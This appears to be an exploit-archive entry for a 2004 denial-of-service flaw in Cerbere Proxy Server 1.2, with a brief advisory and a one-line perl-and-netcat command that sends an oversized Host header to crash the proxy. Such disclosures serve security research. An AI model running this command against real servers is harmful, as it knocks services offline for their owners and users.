Cerbere Proxy Server 1.2 - Long Host Header Field Remote Denial of Service

Author: GSS IT
type: dos
platform: multiple
port: 
date_added: 2004-09-01 
date_updated: 2013-01-27 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/11085/info

Cerbère Proxy server is reported prone to a remote denial of service vulnerability. This issue presents itself when a remote attacker sends a malformed HTTP GET request to the server.

A remote attacker may cause a denial of service condition in the proxy leading to a crash or hang.

Cerbère Proxy 1.2 is reported prone to this issue, however, other versions may be affected as well.

perl -e 'print "GET / HTTP/1.1\r\n" . "Host: " . "A" x 90000 . "\r\n" . "\r\n\r\n" ' | nc "Proxy_IP" 3128